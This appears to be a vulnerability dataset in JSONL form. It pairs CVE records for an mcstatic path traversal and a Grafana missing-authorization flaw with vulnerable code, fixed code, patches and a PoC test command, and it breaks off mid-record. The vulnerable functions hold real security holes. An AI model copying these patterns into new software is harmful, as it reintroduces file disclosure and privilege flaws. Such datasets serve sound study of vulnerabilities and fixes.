{"cve_id": "CVE-2018-16482", "cve_description": "A server directory traversal vulnerability was found on node module mcstatic <=0.0.20 that would allow an attack to access sensitive information in the file system by appending slashes in the URL path.", "cwe_info": {"CWE-22": {"name": "Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')", "description": "The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory."}}, "repo": "https://github.com/tjchaplin/mcstatic", "patch_url": ["https://github.com/tjchaplin/mcstatic/commit/342d0d225b86f2cd6d648e607cc96ee325642bf9"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_9_1", "commit": "7743af5", "file_path": "lib/staticFileHandler.js", "start_line": 15, "end_line": 48, "snippet": "    return function(req,res){\n        var root = options.root;\n        var mockPaths = getMockPathForMethod(options,req.method);\n\n        var filePath = httpHelpers.getRequestPathFromUrl(req.url);\n        var mockedFilePath = findMockFilePath(filePath,mockPaths);\n        if(mockedFilePath)\n            filePath = mockedFilePath;\n\n        var file = path.normalize(path.join(root,filePath));\n        fs.stat(file,function(error, stats){\n            if(error)\n                return statusHandlers[500](res, nextHandler, { error: error });\n\n            if(req.method === 'HEAD')\n                return responseHandlers.handleHead(req,res);\n            \n            httpHelpers.setContentType(res,file);\n            if (req.headers && req.headers['range'])\n                return responseHandlers.handleRange(req, file, stats);\n\n            if(!req.method)\n                return statusHandlers[500](res, nextHandler, { error: 'Method not handled' });\n\n            if (req.method === 'GET')\n                return responseHandlers.handleGet(res,file, stats, nextHandler);\n            if (req.method === 'POST')\n                return responseHandlers.handlePost(res,file, stats, nextHandler);\n            if (req.method === 'PUT')\n                return responseHandlers.handlePut(res,file, stats, nextHandler);\n            if (req.method === 'DELETE')\n                return responseHandlers.handleDelete(res, file, stats, nextHandler);\n        });\n    };"}], "fix_func": [{"id": "fix_js_9_1", "commit": "342d0d225b86f2cd6d648e607cc96ee325642bf9", "file_path": "lib/staticFileHandler.js", "start_line": 8, "end_line": 49, "snippet": "module.exports = function staticFileListener(options, nextHandler){\n    assert(options.root,'A root must be defined');\n    assert(options.getMockPaths,'A get mock path object must be defined');\n    assert(options.putMockPaths,'A put mock path object must be defined');\n    assert(options.postMockPaths,'A post mock path object must be defined');\n    assert(options.deleteMockPaths,'A delete mock path object must be defined');\n\n    return function(req,res){\n        var root = options.root;\n        var mockPaths = getMockPathForMethod(options,req.method);\n        //fixing path traversal issue - CVE-2018-16482\n        var filePath = httpHelpers.getRequestPathFromUrl(path.normalize(req.url));\n        var mockedFilePath = findMockFilePath(filePath,mockPaths);\n        if(mockedFilePath)\n            filePath = mockedFilePath;\n\n        var file = path.normalize(path.join(root,filePath));\n        fs.stat(file,function(error, stats){\n            if(error)\n                return statusHandlers[500](res, nextHandler, { error: error });\n\n            if(req.method === 'HEAD')\n                return responseHandlers.handleHead(req,res);\n            \n            httpHelpers.setContentType(res,file);\n            if (req.headers && req.headers['range'])\n                return responseHandlers.handleRange(req, file, stats);\n\n            if(!req.method)\n                return statusHandlers[500](res, nextHandler, { error: 'Method not handled' });\n\n            if (req.method === 'GET')\n                return responseHandlers.handleGet(res,file, stats, nextHandler);\n            if (req.method === 'POST')\n                return responseHandlers.handlePost(res,file, stats, nextHandler);\n            if (req.method === 'PUT')\n                return responseHandlers.handlePut(res,file, stats, nextHandler);\n            if (req.method === 'DELETE')\n                return responseHandlers.handleDelete(res, file, stats, nextHandler);\n        });\n    };\n};"}], "vul_patch": "--- a/lib/staticFileHandler.js\n+++ b/lib/staticFileHandler.js\n@@ -1,8 +1,15 @@\n+module.exports = function staticFileListener(options, nextHandler){\n+    assert(options.root,'A root must be defined');\n+    assert(options.getMockPaths,'A get mock path object must be defined');\n+    assert(options.putMockPaths,'A put mock path object must be defined');\n+    assert(options.postMockPaths,'A post mock path object must be defined');\n+    assert(options.deleteMockPaths,'A delete mock path object must be defined');\n+\n     return function(req,res){\n         var root = options.root;\n         var mockPaths = getMockPathForMethod(options,req.method);\n-\n-        var filePath = httpHelpers.getRequestPathFromUrl(req.url);\n+        //fixing path traversal issue - CVE-2018-16482\n+        var filePath = httpHelpers.getRequestPathFromUrl(path.normalize(req.url));\n         var mockedFilePath = findMockFilePath(filePath,mockPaths);\n         if(mockedFilePath)\n             filePath = mockedFilePath;\n@@ -32,3 +39,4 @@\n                 return responseHandlers.handleDelete(res, file, stats, nextHandler);\n         });\n     };\n+};\n\n", "poc_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2018-16482:latest\n# bash /workspace/fix-run.sh\nset -e\n\ncd /workspace/mcstatic\ngit apply --whitespace=nowarn /workspace/test.patch /workspace/fix.patch\njest ./poc\n", "unit_test_cmd": null}
{"cve_id": "CVE-2023-2183", "cve_description": "Grafana is an open-source platform for monitoring and observability. \n\nThe option to send a test alert is not available from the user panel UI for users having the Viewer role. It is still possible for a user with the Viewer role to send a test alert using the API as the API does not check access to this function.\n\nThis might enable malicious users to abuse the functionality by sending multiple alert messages to e-mail and Slack, spamming users, prepare Phishing attack or block SMTP server.\n\nUsers may upgrade to version 9.5.3, 9.4.12, 9.3.15, 9.2.19 and 8.5.26 to receive a fix.", "cwe_info": {"CWE-862": {"name": "Missing Authorization", "description": "The product does not perform an authorization check when an actor attempts to access a resource or perform an action."}}, "repo": "https://github.com/grafana/grafana", "patch_url": ["https://github.com/grafana/grafana/commit/4b92020636ec468f9c37b5fa44286f7c5eb9fffe", "https://github.com/grafana/grafana/commit/157004db287ce04cfd2d665937aa91ba81680239", "https://github.com/grafana/grafana/commit/8f0a89e8188b61dfc766a8c561be60f2be8ac167", "https://github.com/grafana/grafana/commit/7078e75abf89816c0910592dac01ee6db5f39bf3", "https://github.com/grafana/grafana/commit/d5ff95cc42e845b76d16dbfd7bb1fc97a1064ea6"], "programing_language": "Go", "vul_func": [{"id": "vul_go_195_1", "commit": "cfcea75", "file_path": "pkg/services/ngalert/api/authorization.go", "start_line": 23, "end_line": 241, "snippet": "func (api *API) authorize(method, path string) web.Handler {\n\tauthorize := ac.Middleware(api.AccessControl)\n\tvar eval ac.Evaluator = nil\n\n\t// Most routes follow this general authorization approach as a fallback. Exceptions are overridden directly in the below block.\n\tvar fallback web.Handler\n\tswitch method {\n\tcase http.MethodPost, http.MethodPut, http.MethodDelete:\n\t\tfallback = middleware.ReqEditorRole\n\tcase http.MethodGet:\n\t\tfallback = middleware.ReqSignedIn\n\tdefault:\n\t\tfallback = middleware.ReqSignedIn\n\t}\n\n\tswitch method + path {\n\t// Alert Rules\n\n\t// Grafana Paths\n\tcase http.MethodDelete + \"/api/ruler/grafana/api/v1/rules/{Namespace}/{Groupname}\":\n\t\teval = ac.EvalPermission(ac.ActionAlertingRuleDelete, dashboards.ScopeFoldersProvider.GetResourceScopeName(ac.Parameter(\":Namespace\")))\n\tcase http.MethodDelete + \"/api/ruler/grafana/api/v1/rules/{Namespace}\":\n\t\teval = ac.EvalPermission(ac.ActionAlertingRuleDelete, dashboards.ScopeFoldersProvider.GetResourceScopeName(ac.Parameter(\":Namespace\")))\n\tcase http.MethodGet + \"/api/ruler/grafana/api/v1/rules/{Namespace}/{Groupname}\":\n\t\teval = ac.EvalPermission(ac.ActionAlertingRuleRead, dashboards.ScopeFoldersProvider.GetResourceScopeName(ac.Parameter(\":Namespace\")))\n\tcase http.MethodGet + \"/api/ruler/grafana/api/v1/rules/{Namespace}\":\n\t\teval = ac.EvalPermission(ac.ActionAlertingRuleRead, dashboards.ScopeFoldersProvider.GetResourceScopeName(ac.Parameter(\":Namespace\")))\n\tcase http.MethodGet + \"/api/ruler/grafana/api/v1/rules\":\n\t\teval = ac.EvalPermission(ac.ActionAlertingRuleRead)\n\tcase http.MethodPost + \"/api/ruler/grafana/api/v1/rules/{Namespace}\":\n\t\tfallback = middleware.ReqSignedIn // if RBAC is disabled then we need to delegate permission check to folder because its permissions can allow editing for Viewer role\n\t\tscope := dashboards.ScopeFoldersProvider.GetResourceScopeName(ac.Parameter(\":Namespace\"))\n\t\t// more granular permissions are enforced by the handler via \"authorizeRuleChanges\"\n\t\teval = ac.EvalAny(\n\t\t\tac.EvalPermission(ac.ActionAlertingRuleUpdate, scope),\n\t\t\tac.EvalPermission(ac.ActionAlertingRuleCreate, scope),\n\t\t\tac.EvalPermission(ac.ActionAlertingRuleDelete, scope),\n\t\t)\n\t// Grafana rule state history paths\n\tcase http.MethodGet + \"/api/v1/rules/history\":\n\t\tfallback = middleware.ReqSignedIn\n\t\teval = ac.EvalPermission(ac.ActionAlertingRuleRead)\n\n\t// Grafana, Prometheus-compatible Paths\n\tcase http.MethodGet + \"/api/prometheus/grafana/api/v1/rules\":\n\t\teval = ac.EvalPermission(ac.ActionAlertingRuleRead)\n\n\t// Grafana Rules Testing Paths\n\tcase http.MethodPost + \"/api/v1/rule/test/grafana\":\n\t\tfallback = middleware.ReqSignedIn\n\t\t// additional authorization is done in the request handler\n\t\teval = ac.EvalPermission(ac.ActionAlertingRuleRead)\n\t// Grafana Rules Testing Paths\n\tcase http.MethodPost + \"/api/v1/rule/backtest\":\n\t\tfallback = middleware.ReqSignedIn\n\t\t// additional authorization is done in the request handler\n\t\teval = ac.EvalPermission(ac.ActionAlertingRuleRead)\n\tcase http.MethodPost + \"/api/v1/eval\":\n\t\tfallback = middleware.ReqSignedIn\n\t\t// additional authorization is done in the request handler\n\t\teval = ac.EvalPermission(ac.ActionAlertingRuleRead)\n\n\t// Lotex Paths\n\tcase http.MethodDelete + \"/api/ruler/{DatasourceUID}/api/v1/rules/{Namespace}\":\n\t\teval = ac.EvalPermission(ac.ActionAlertingRuleExternalWrite, datasources.ScopeProvider.GetResourceScopeUID(ac.Parameter(\":DatasourceUID\")))\n\tcase http.MethodDelete + \"/api/ruler/{DatasourceUID}/api/v1/rules/{Namespace}/{Groupname}\":\n\t\teval = ac.EvalPermission(ac.ActionAlertingRuleExternalWrite, datasources.ScopeProvider.GetResourceScopeUID(ac.Parameter(\":DatasourceUID\")))\n\tcase http.MethodGet + \"/api/ruler/{DatasourceUID}/api/v1/rules/{Namespace}\":\n\t\teval = ac.EvalPermission(ac.ActionAlertingRuleExternalRead, datasources.ScopeProvider.GetResourceScopeUID(ac.Parameter(\":DatasourceUID\")))\n\tcase http.MethodGet + \"/api/ruler/{DatasourceUID}/api/v1/rules/{Namespace}/{Groupname}\":\n\t\teval = ac.EvalPermission(ac.ActionAlertingRuleExternalRead, datasources.ScopeProvider.GetResourceScopeUID(ac.Parameter(\":DatasourceUID\")))\n\tcase http.MethodGet + \"/api/ruler/{DatasourceUID}/api/v1/rules\":\n\t\teval = ac.EvalPermission(ac.ActionAlertingRuleExternalRead, datasources.ScopeProvider.GetResourceScopeUID(ac.Parameter(\":DatasourceUID\")))\n\tcase http.MethodPost + \"/api/ruler/{DatasourceUID}/api/v1/rules/{Namespace}\":\n\t\teval = ac.EvalPermission(ac.ActionAlertingInstancesExternalWrite, datasources.ScopeProvider.GetResourceScopeUID(ac.Parameter(\":DatasourceUID\")))\n\n\t// Lotex Prometheus-compatible Paths\n\tcase http.MethodGet + \"/api/prometheus/{DatasourceUID}/api/v1/rules\":\n\t\teval = ac.EvalPermission(ac.ActionAlertingRuleExternalRead, datasources.ScopeProvider.GetResourceScopeUID(ac.Parameter(\":DatasourceUID\")))\n\n\t// Lotex Rules testing\n\tcase http.MethodPost + \"/api/v1/rule/test/{DatasourceUID}\":\n\t\tfallback = middleware.ReqSignedIn\n\t\teval = ac.EvalPermission(ac.ActionAlertingRuleExternalRead, datasources.ScopeProvider.GetResourceScopeUID(ac.Parameter(\":DatasourceUID\")))\n\n\t// Alert Instances and Silences\n\n\t// Silences. Grafana Paths\n\tcase http.MethodDelete + \"/api/alertmanager/grafana/api/v2/silence/{SilenceId}\":\n\t\teval = ac.EvalPermission(ac.ActionAlertingInstanceUpdate) // delete endpoint actually expires silence\n\tcase http.MethodGet + \"/api/alertmanager/grafana/api/v2/silence/{SilenceId}\":\n\t\teval = ac.EvalPermission(ac.ActionAlertingInstanceRead)\n\tcase http.MethodGet + \"/api/alertmanager/grafana/api/v2/silences\":\n\t\teval = ac.EvalPermission(ac.ActionAlertingInstanceRead)\n\tcase http.MethodPost + \"/api/alertmanager/grafana/api/v2/silences\":\n\t\t// additional authorization is done in the request handler\n\t\teval = ac.EvalAny(ac.EvalPermission(ac.ActionAlertingInstanceCreate), ac.EvalPermission(ac.ActionAlertingInstanceUpdate))\n\n\t// Alert Instances. Grafana Paths\n\tcase http.MethodGet + \"/api/alertmanager/grafana/api/v2/alerts/groups\":\n\t\teval = ac.EvalPermission(ac.ActionAlertingInstanceRead)\n\tcase http.MethodGet + \"/api/alertmanager/grafana/api/v2/alerts\":\n\t\teval = ac.EvalPermission(ac.ActionAlertingInstanceRead)\n\n\t// Grafana Prometheus-compatible Paths\n\tcase http.MethodGet + \"/api/prometheus/grafana/api/v1/alerts\":\n\t\teval = ac.EvalPermission(ac.ActionAlertingInstanceRead)\n\n\t// Silences. External AM.\n\tcase http.MethodDelete + \"/api/alertmanager/{DatasourceUID}/api/v2/silence/{SilenceId}\":\n\t\teval = ac.EvalPermission(ac.ActionAlertingInstancesExternalWrite, datasources.ScopeProvider.GetResourceScopeUID(ac.Parameter(\":DatasourceUID\")))\n\tcase http.MethodPost + \"/api/alertmanager/{DatasourceUID}/api/v2/silences\":\n\t\teval = ac.EvalPermission(ac.ActionAlertingInstancesExternalWrite, datasources.ScopeProvider.GetResourceScopeUID(ac.Parameter(\":DatasourceUID\")))\n\tcase http.MethodGet + \"/api/alertmanager/{DatasourceUID}/api/v2/silence/{SilenceId}\":\n\t\teval = ac.EvalPermission(ac.ActionAlertingInstancesExternalRead, datasources.ScopeProvider.GetResourceScopeUID(ac.Parameter(\":DatasourceUID\")))\n\tcase http.MethodGet + \"/api/alertmanager/{DatasourceUID}/api/v2/silences\":\n\t\teval = ac.EvalPermission(ac.ActionAlertingInstancesExternalRead, datasources.ScopeProvider.GetResourceScopeUID(ac.Parameter(\":DatasourceUID\")))\n\n\t// Alert instances. External AM.\n\tcase http.MethodGet + \"/api/alertmanager/{DatasourceUID}/api/v2/alerts/groups\":\n\t\teval = ac.EvalPermission(ac.ActionAlertingInstancesExternalRead, datasources.ScopeProvider.GetResourceScopeUID(ac.Parameter(\":DatasourceUID\")))\n\tcase http.MethodGet + \"/api/alertmanager/{DatasourceUID}/api/v2/alerts\":\n\t\teval = ac.EvalPermission(ac.ActionAlertingInstancesExternalRead, datasources.ScopeProvider.GetResourceScopeUID(ac.Parameter(\":DatasourceUID\")))\n\tcase http.MethodPost + \"/api/alertmanager/{DatasourceUID}/api/v2/alerts\":\n\t\teval = ac.EvalPermission(ac.ActionAlertingInstancesExternalWrite, datasources.ScopeProvider.GetResourceScopeUID(ac.Parameter(\":DatasourceUID\")))\n\n\t// Prometheus-compatible Paths\n\tcase http.MethodGet + \"/api/prometheus/{DatasourceUID}/api/v1/alerts\":\n\t\teval = ac.EvalPermission(ac.ActionAlertingInstancesExternalRead, datasources.ScopeProvider.GetResourceScopeUID(ac.Parameter(\":DatasourceUID\")))\n\n\t// Notification Policies, Contact Points and Templates\n\n\t// Grafana Paths\n\tcase http.MethodDelete + \"/api/alertmanager/grafana/config/api/v1/alerts\": // reset alertmanager config to the default\n\t\teval = ac.EvalPermission(ac.ActionAlertingNotificationsWrite)\n\tcase http.MethodGet + \"/api/alertmanager/grafana/config/api/v1/alerts\":\n\t\tfallback = middleware.ReqEditorRole\n\t\teval = ac.EvalPermission(ac.ActionAlertingNotificationsRead)\n\tcase http.MethodGet + \"/api/alertmanager/grafana/config/history\":\n\t\tfallback = middleware.ReqEditorRole\n\t\teval = ac.EvalPermission(ac.ActionAlertingNotificationsRead)\n\tcase http.MethodGet + \"/api/alertmanager/grafana/api/v2/status\":\n\t\teval = ac.EvalPermission(ac.ActionAlertingNotificationsRead)\n\tcase http.MethodPost + \"/api/alertmanager/grafana/config/api/v1/alerts\":\n\t\t// additional authorization is done in the request handler\n\t\teval = ac.EvalAny(ac.EvalPermission(ac.ActionAlertingNotificationsWrite))\n\tcase http.MethodGet + \"/api/alertmanager/grafana/config/api/v1/receivers\":\n\t\teval = ac.EvalPermission(ac.ActionAlertingNotificationsRead)\n\tcase http.MethodPost + \"/api/alertmanager/grafana/config/api/v1/receivers/test\":\n\t\tfallback = middleware.ReqEditorRole\n\t\teval = ac.EvalPermission(ac.ActionAlertingNotificationsRead)\n\n\t// External Alertmanager Paths\n\tcase http.MethodDelete + \"/api/alertmanager/{DatasourceUID}/config/api/v1/alerts\":\n\t\teval = ac.EvalPermission(ac.ActionAlertingNotificationsExternalWrite, datasources.ScopeProvider.GetResourceScopeUID(ac.Parameter(\":DatasourceUID\")))\n\tcase http.MethodGet + \"/api/alertmanager/{DatasourceUID}/api/v2/status\":\n\t\teval = ac.EvalPermission(ac.ActionAlertingNotificationsExternalRead, datasources.ScopeProvider.GetResourceScopeUID(ac.Parameter(\":DatasourceUID\")))\n\tcase http.MethodGet + \"/api/alertmanager/{DatasourceUID}/config/api/v1/alerts\":\n\t\teval = ac.EvalPermission(ac.ActionAlertingNotificationsExternalRead, datasources.ScopeProvider.GetResourceScopeUID(ac.Parameter(\":DatasourceUID\")))\n\tcase http.MethodPost + \"/api/alertmanager/{DatasourceUID}/config/api/v1/alerts\":\n\t\teval = ac.EvalPermission(ac.ActionAlertingNotificationsExternalWrite, datasources.ScopeProvider.GetResourceScopeUID(ac.Parameter(\":DatasourceUID\")))\n\n\tcase http.MethodGet + \"/api/v1/ngalert\":\n\t\t// let user with any alerting permission access this API\n\t\teval = ac.EvalAny(\n\t\t\tac.EvalPermission(ac.ActionAlertingInstanceRead),\n\t\t\tac.EvalPermission(ac.ActionAlertingInstancesExternalRead),\n\t\t\tac.EvalPermission(ac.ActionAlertingRuleRead),\n\t\t\tac.EvalPermission(ac.ActionAlertingRuleExternalRead),\n\t\t\tac.EvalPermission(ac.ActionAlertingNotificationsRead),\n\t\t\tac.EvalPermission(ac.ActionAlertingNotificationsExternalRead),\n\t\t)\n\t// Raw Alertmanager Config Paths\n\tcase http.MethodDelete + \"/api/v1/ngalert/admin_config\",\n\t\thttp.MethodGet + \"/api/v1/ngalert/admin_config\",\n\t\thttp.MethodPost + \"/api/v1/ngalert/admin_config\",\n\t\thttp.MethodGet + \"/api/v1/ngalert/alertmanagers\":\n\t\treturn middleware.ReqOrgAdmin\n\n\t// Grafana-only Provisioning Read Paths\n\tcase http.MethodGet + \"/api/v1/provisioning/policies\",\n\t\thttp.MethodGet + \"/api/v1/provisioning/contact-points\",\n\t\thttp.MethodGet + \"/api/v1/provisioning/templates\",\n\t\thttp.MethodGet + \"/api/v1/provisioning/templates/{name}\",\n\t\thttp.MethodGet + \"/api/v1/provisioning/mute-timings\",\n\t\thttp.MethodGet + \"/api/v1/provisioning/mute-timings/{name}\",\n\t\thttp.MethodGet + \"/api/v1/provisioning/alert-rules\",\n\t\thttp.MethodGet + \"/api/v1/provisioning/alert-rules/{UID}\",\n\t\thttp.MethodGet + \"/api/v1/provisioning/alert-rules/export\",\n\t\thttp.MethodGet + \"/api/v1/provisioning/alert-rules/{UID}/export\",\n\t\thttp.MethodGet + \"/api/v1/provisioning/folder/{FolderUID}/rule-groups/{Group}\",\n\t\thttp.MethodGet + \"/api/v1/provisioning/folder/{FolderUID}/rule-groups/{Group}/export\":\n\t\tfallback = middleware.ReqOrgAdmin\n\t\teval = ac.EvalPermission(ac.ActionAlertingProvisioningRead) // organization scope\n\n\tcase http.MethodPut + \"/api/v1/provisioning/policies\",\n\t\thttp.MethodDelete + \"/api/v1/provisioning/policies\",\n\t\thttp.MethodPost + \"/api/v1/provisioning/contact-points\",\n\t\thttp.MethodPut + \"/api/v1/provisioning/contact-points/{UID}\",\n\t\thttp.MethodDelete + \"/api/v1/provisioning/contact-points/{UID}\",\n\t\thttp.MethodPut + \"/api/v1/provisioning/templates/{name}\",\n\t\thttp.MethodDelete + \"/api/v1/provisioning/templates/{name}\",\n\t\thttp.MethodPost + \"/api/v1/provisioning/mute-timings\",\n\t\thttp.MethodPut + \"/api/v1/provisioning/mute-timings/{name}\",\n\t\thttp.MethodDelete + \"/api/v1/provisioning/mute-timings/{name}\",\n\t\thttp.MethodPost + \"/api/v1/provisioning/alert-rules\",\n\t\thttp.MethodPut + \"/api/v1/provisioning/alert-rules/{UID}\",\n\t\thttp.MethodDelete + \"/api/v1/provisioning/alert-rules/{UID}\",\n\t\thttp.MethodPut + \"/api/v1/provisioning/folder/{FolderUID}/rule-groups/{Group}\":\n\t\tfallback = middleware.ReqOrgAdmin\n\t\teval = ac.EvalPermission(ac.ActionAlertingProvisioningWrite) // organization scope\n\t}\n\n\tif eval != nil {\n\t\treturn authorize(fallback, eval)\n\t}\n\n\tpanic(fmt.Sprintf(\"no authorization handler for method [%s] of endpoint [%s]\", method, path))\n}"}], "fix_func": [{"id": "fix_go_195_1", "commit": "4b92020636ec468f9c37b5fa44286f7c5eb9fffe", "file_path": "pkg/services/ngalert/api/authorization.go", "start_line": 23, "end_line": 241, "snippet": "func (api *API) authorize(method, path string) web.Handler {\n\tauthorize := ac.Middleware(api.AccessControl)\n\tvar eval ac.Evaluator = nil\n\n\t// Most routes follow this general authorization approach as a fallback. Exceptions are overridden directly in the below block.\n\tvar fallback web.Handler\n\tswitch method {\n\tcase http.MethodPost, http.MethodPut, http.MethodDelete:\n\t\tfallback = middleware.ReqEditorRole\n\tcase http.MethodGet:\n\t\tfallback = middleware.ReqSignedIn\n\tdefault:\n\t\tfallback = middleware.ReqSignedIn\n\t}\n\n\tswitch method + path {\n\t// Alert Rules\n\n\t// Grafana Paths\n\tcase http.MethodDelete + \"/api/ruler/grafana/api/v1/rules/{Namespace}/{Groupname}\":\n\t\teval = ac.EvalPermission(ac.ActionAlertingRuleDelete, dashboards.ScopeFoldersProvider.GetResourceScopeName(ac.Parameter(\":Namespace\")))\n\tcase http.MethodDelete + \"/api/ruler/grafana/api/v1/rules/{Namespace}\":\n\t\teval = ac.EvalPermission(ac.ActionAlertingRuleDelete, dashboards.ScopeFoldersProvider.GetResourceScopeName(ac.Parameter(\":Namespace\")))\n\tcase http.MethodGet + \"/api/ruler/grafana/api/v1/rules/{Namespace}/{Groupname}\":\n\t\teval = ac.EvalPermission(ac.ActionAlertingRuleRead, dashboards.ScopeFoldersProvider.GetResourceScopeName(ac.Parameter(\":Namespace\")))\n\tcase http.MethodGet + \"/api/ruler/grafana/api/v1/rules/{Namespace}\":\n\t\teval = ac.EvalPermission(ac.ActionAlertingRuleRead, dashboards.ScopeFoldersProvider.GetResourceScopeName(ac.Parameter(\":Namespace\")))\n\tcase http.MethodGet + \"/api/ruler/grafana/api/v1/rules\":\n\t\teval = ac.EvalPermission(ac.ActionAlertingRuleRead)\n\tcase http.MethodPost + \"/api/ruler/grafana/api/v1/rules/{Namespace}\":\n\t\tfallback = middleware.ReqSignedIn // if RBAC is disabled then we need to delegate permission check to folder because its permissions can allow editing for Viewer role\n\t\tscope := dashboards.ScopeFoldersProvider.GetResourceScopeName(ac.Parameter(\":Namespace\"))\n\t\t// more granular permissions are enforced by the handler via \"authorizeRuleChanges\"\n\t\teval = ac.EvalAny(\n\t\t\tac.EvalPermission(ac.ActionAlertingRuleUpdate, scope),\n\t\t\tac.EvalPermission(ac.ActionAlertingRuleCreate, scope),\n\t\t\tac.EvalPermission(ac.ActionAlertingRuleDelete, scope),\n\t\t)\n\t// Grafana rule state history paths\n\tcase http.MethodGet + \"/api/v1/rules/history\":\n\t\tfallback = middleware.ReqSignedIn\n\t\teval = ac.EvalPermission(ac.ActionAlertingRuleRead)\n\n\t// Grafana, Prometheus-compatible Paths\n\tcase http.MethodGet + \"/api/prometheus/grafana/api/v1/rules\":\n\t\teval = ac.EvalPermission(ac.ActionAlertingRuleRead)\n\n\t// Grafana Rules Testing Paths\n\tcase http.MethodPost + \"/api/v1/rule/test/grafana\":\n\t\tfallback = middleware.ReqSignedIn\n\t\t// additional authorization is done in the request handler\n\t\teval = ac.EvalPermission(ac.ActionAlertingRuleRead)\n\t// Grafana Rules Testing Paths\n\tcase http.MethodPost + \"/api/v1/rule/backtest\":\n\t\tfallback = middleware.ReqSignedIn\n\t\t// additional authorization is done in the request handler\n\t\teval = ac.EvalPermission(ac.ActionAlertingRuleRead)\n\tcase http.MethodPost + \"/api/v1/eval\":\n\t\tfallback = middleware.ReqSignedIn\n\t\t// additional authorization is done in the request handler\n\t\teval = ac.EvalPermission(ac.ActionAlertingRuleRead)\n\n\t// Lotex Paths\n\tcase http.MethodDelete + \"/api/ruler/{DatasourceUID}/api/v1/rules/{Namespace}\":\n\t\teval = ac.EvalPermission(ac.ActionAlertingRuleExternalWrite, datasources.ScopeProvider.GetResourceScopeUID(ac.Parameter(\":DatasourceUID\")))\n\tcase http.MethodDelete + \"/api/ruler/{DatasourceUID}/api/v1/rules/{Namespace}/{Groupname}\":\n\t\teval = ac.EvalPermission(ac.ActionAlertingRuleExternalWrite, datasources.ScopeProvider.GetResourceScopeUID(ac.Parameter(\":DatasourceUID\")))\n\tcase http.MethodGet + \"/api/ruler/{DatasourceUID}/api/v1/rules/{Namespace}\":\n\t\teval = ac.EvalPermission(ac.ActionAlertingRuleExternalRead, datasources.ScopeProvider.GetResourceScopeUID(ac.Parameter(\":DatasourceUID\")))\n\tcase http.MethodGet + \"/api/ruler/{DatasourceUID}/api/v1/rules/{Namespace}/{Groupname}\":\n\t\teval = ac.EvalPermission(ac.ActionAlertingRuleExternalRead, datasources.ScopeProvider.GetResourceScopeUID(ac.Parameter(\":DatasourceUID\")))\n\tcase http.MethodGet + \"/api/ruler/{DatasourceUID}/api/v1/rules\":\n\t\teval = ac.EvalPermission(ac.ActionAlertingRuleExternalRead, datasources.ScopeProvider.GetResourceScopeUID(ac.Parameter(\":DatasourceUID\")))\n\tcase http.MethodPost + \"/api/ruler/{DatasourceUID}/api/v1/rules/{Namespace}\":\n\t\teval = ac.EvalPermission(ac.ActionAlertingInstancesExternalWrite, datasources.ScopeProvider.GetResourceScopeUID(ac.Parameter(\":DatasourceUID\")))\n\n\t// Lotex Prometheus-compatible Paths\n\tcase http.MethodGet + \"/api/prometheus/{DatasourceUID}/api/v1/rules\":\n\t\teval = ac.EvalPermission(ac.ActionAlertingRuleExternalRead, datasources.ScopeProvider.GetResourceScopeUID(ac.Parameter(\":DatasourceUID\")))\n\n\t// Lotex Rules testing\n\tcase http.MethodPost + \"/api/v1/rule/test/{DatasourceUID}\":\n\t\tfallback = middleware.ReqSignedIn\n\t\teval = ac.EvalPermission(ac.ActionAlertingRuleExternalRead, datasources.ScopeProvider.GetResourceScopeUID(ac.Parameter(\":DatasourceUID\")))\n\n\t// Alert Instances and Silences\n\n\t// Silences. Grafana Paths\n\tcase http.MethodDelete + \"/api/alertmanager/grafana/api/v2/silence/{SilenceId}\":\n\t\teval = ac.EvalPermission(ac.ActionAlertingInstanceUpdate) // delete endpoint actually expires silence\n\tcase http.MethodGet + \"/api/alertmanager/grafana/api/v2/silence/{SilenceId}\":\n\t\teval = ac.EvalPermission(ac.ActionAlertingInstanceRead)\n\tcase http.MethodGet + \"/api/alertmanager/grafana/api/v2/silences\":\n\t\teval = ac.EvalPermission(ac.ActionAlertingInstanceRead)\n\tcase http.MethodPost + \"/api/alertmanager/grafana/api/v2/silences\":\n\t\t// additional authorization is done in the request handler\n\t\teval = ac.EvalAny(ac.EvalPermission(ac.ActionAlertingInstanceCreate), ac.EvalPermission(ac.ActionAlertingInstanceUpdate))\n\n\t// Alert Instances. Grafana Paths\n\tcase http.MethodGet + \"/api/alertmanager/grafana/api/v2/alerts/groups\":\n\t\teval = ac.EvalPermission(ac.ActionAlertingInstanceRead)\n\tcase http.MethodGet + \"/api/alertmanager/grafana/api/v2/alerts\":\n\t\teval = ac.EvalPermission(ac.ActionAlertingInstanceRead)\n\n\t// Grafana Prometheus-compatible Paths\n\tcase http.MethodGet + \"/api/prometheus/grafana/api/v1/alerts\":\n\t\teval = ac.EvalPermission(ac.ActionAlertingInstanceRead)\n\n\t// Silences. External AM.\n\tcase http.MethodDelete + \"/api/alertmanager/{DatasourceUID}/api/v2/silence/{SilenceId}\":\n\t\teval = ac.EvalPermission(ac.ActionAlertingInstancesExternalWrite, datasources.ScopeProvider.GetResourceScopeUID(ac.Parameter(\":DatasourceUID\")))\n\tcase http.MethodPost + \"/api/alertmanager/{DatasourceUID}/api/v2/silences\":\n\t\teval = ac.EvalPermission(ac.ActionAlertingInstancesExternalWrite, datasources.ScopeProvider.GetResourceScopeUID(ac.Parameter(\":DatasourceUID\")))\n\tcase http.MethodGet + \"/api/alertmanager/{DatasourceUID}/api/v2/silence/{SilenceId}\":\n\t\teval = ac.EvalPermission(ac.ActionAlertingInstancesExternalRead, datasources.ScopeProvider.GetResourceScopeUID(ac.Parameter(\":DatasourceUID\")))\n\tcase http.MethodGet + \"/api/alertmanager/{DatasourceUID}/api/v2/silences\":\n\t\teval = ac.EvalPermission(ac.ActionAlertingInstancesExternalRead, datasources.ScopeProvider.GetResourceScopeUID(ac.Parameter(\":DatasourceUID\")))\n\n\t// Alert instances. External AM.\n\tcase http.MethodGet + \"/api/alertmanager/{DatasourceUID}/api/v2/alerts/groups\":\n\t\teval = ac.EvalPermission(ac.ActionAlertingInstancesExternalRead, datasources.ScopeProvider.GetResourceScopeUID(ac.Parameter(\":DatasourceUID\")))\n\tcase http.MethodGet + \"/api/alertmanager/{DatasourceUID}/api/v2/alerts\":\n\t\teval = ac.EvalPermission(ac.ActionAlertingInstancesExternalRead, 